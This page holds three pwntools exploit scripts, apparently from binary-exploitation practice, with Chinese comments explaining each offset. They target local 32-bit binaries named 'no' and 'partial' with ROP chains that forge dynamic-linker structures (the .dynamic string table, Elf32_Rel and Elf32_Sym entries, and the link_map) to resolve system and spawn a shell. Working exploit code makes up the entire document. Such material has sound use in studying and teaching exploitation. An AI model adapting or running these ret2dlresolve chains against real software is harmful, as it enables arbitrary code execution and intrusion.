return to Dynamic Resolver

from pwn import *

context.arch='i386'
r = process('./no')

read = 0x80482f0        #objdump -d no | grep read
memcpy = 0x8048300      #objdump -d no | grep memcpy
plt0 = 0x80482e0        #readelf -aW no |grep .plt
pop3 = 0x80484d9        #ROPgadget --binary no | less
pop2 = 0x80484da        #ROPgadget --binary no | less
pop1 = 0x80484db        #ROPgadget --binary no | less
gmon = 0x08048310       #08048310 <__gmon_start__@plt> 一个没有调用过的方法的位置    objdump -d no |grep __gmon_start__

buf = 0x8049740         #gdb-peda$ p &buf
d = buf + 2048          #这个指向的data的位置

dynamic = 0x08049604        #readelf -a no | grep dynamic
dynamic_dynstr = dynamic + 8 * 8        #dynamic中的第八个指向的是dynamic_dynstr

rop = flat(
    memcpy, pop3, dynamic_dynstr + 4, d, 4,     #这个就是从d(data)这里开始memcpy 4个byte,到dynamic_dynstr + 4,其中memcpy这个是return address
    gmon, 0xdeadbeef, d + 12   #d+12是'sh' 字串的位置             跳到__gmon_start__这个没有调用过的function,0xdeadbeef为call完之后的return address
    )

data = flat(
    d + 4 - 56,  # __gmon_start__中str+offset中offset为0x38,即56                #!!!!这个是strtab的指针,例如该值为0x41414141,那么0x41414141指向的值就是strtab
    'system\x00\x00' #__gmon_start__中str+offset指向了这个值
    'sh\x00'                                    #这个就是system的参数
    )

raw_input('@')
r.send(('A'*18 + p32(buf+1024+4)).ljust(1024, '\0') + rop.ljust(1024, '\0') + data)

r.interactive()

from pwn import *

context.arch='i386'
r = process('./partial')

plt0 = 0x8048300
buf = 0x804a060
d = buf + 2048
relplt = 0x80482b4
dynsym = 0x80481cc
dynstr = 0x804822c

rop = flat(
    plt0, d - relplt, 0xdeadbeef, d + 36,   #直接跳到plt[0],d - relplt为plt0之前的参数,该参数可以让rel.plt直接落在data位置上,   d + 36指向了" sh"
    )
data = flat(
    [buf, 0x07 | (((d+12-dynsym)/16)<<8)], 0, # Elf32_Rel结构,其中的索引让symtab指向了像一行伪造的Elf32_Sym
    [d+28-dynstr, 0, 0, 0x12],  # 伪造的Elf32_Sym,构造虚假的偏移,让 .dynstr + offset 指向了下一行的system
    'system\x00\x00', # d+36
    'sh\x00'
    )
r.send(('A'*18 + p32(buf+1024+4)).ljust(1024, '\0') + rop.ljust(1024, '\0') + data)
r.interactive()

#coding=utf-8
from pwn import *

context.arch='i386'

r = process('./partial')

# partial ver
memcpy = 0x8048320
pop3 = 0x80484f9
got1 = 0x804a004
gmon = 0x8048330

buf = 0x804a060
s = buf + 1024
d = buf + 2048

rop = flat(
    memcpy, pop3, s+32, got1, 4,  # 20          copy link_map
    memcpy, pop3, buf, 0x00, 56,  # 40          
    memcpy, pop3, buf+52, d, 4,   # 60
    memcpy, pop3, s+88, got1, 4,  # 80
    memcpy, pop3, 0x00, buf, 56,  # 100
    gmon, 0xdeadbeef, d + 20,
    )

data = flat(
    d+4, # 4
    [5, d+12-56], # 12
    'system\x00\x00', # 20
    'sh\x00'
    )

raw_input('#')
r.send(('A'*18 + p32(buf+1024+4)).ljust(1024, '\0') + rop.ljust(1024, '\0') + data)
r.interactive()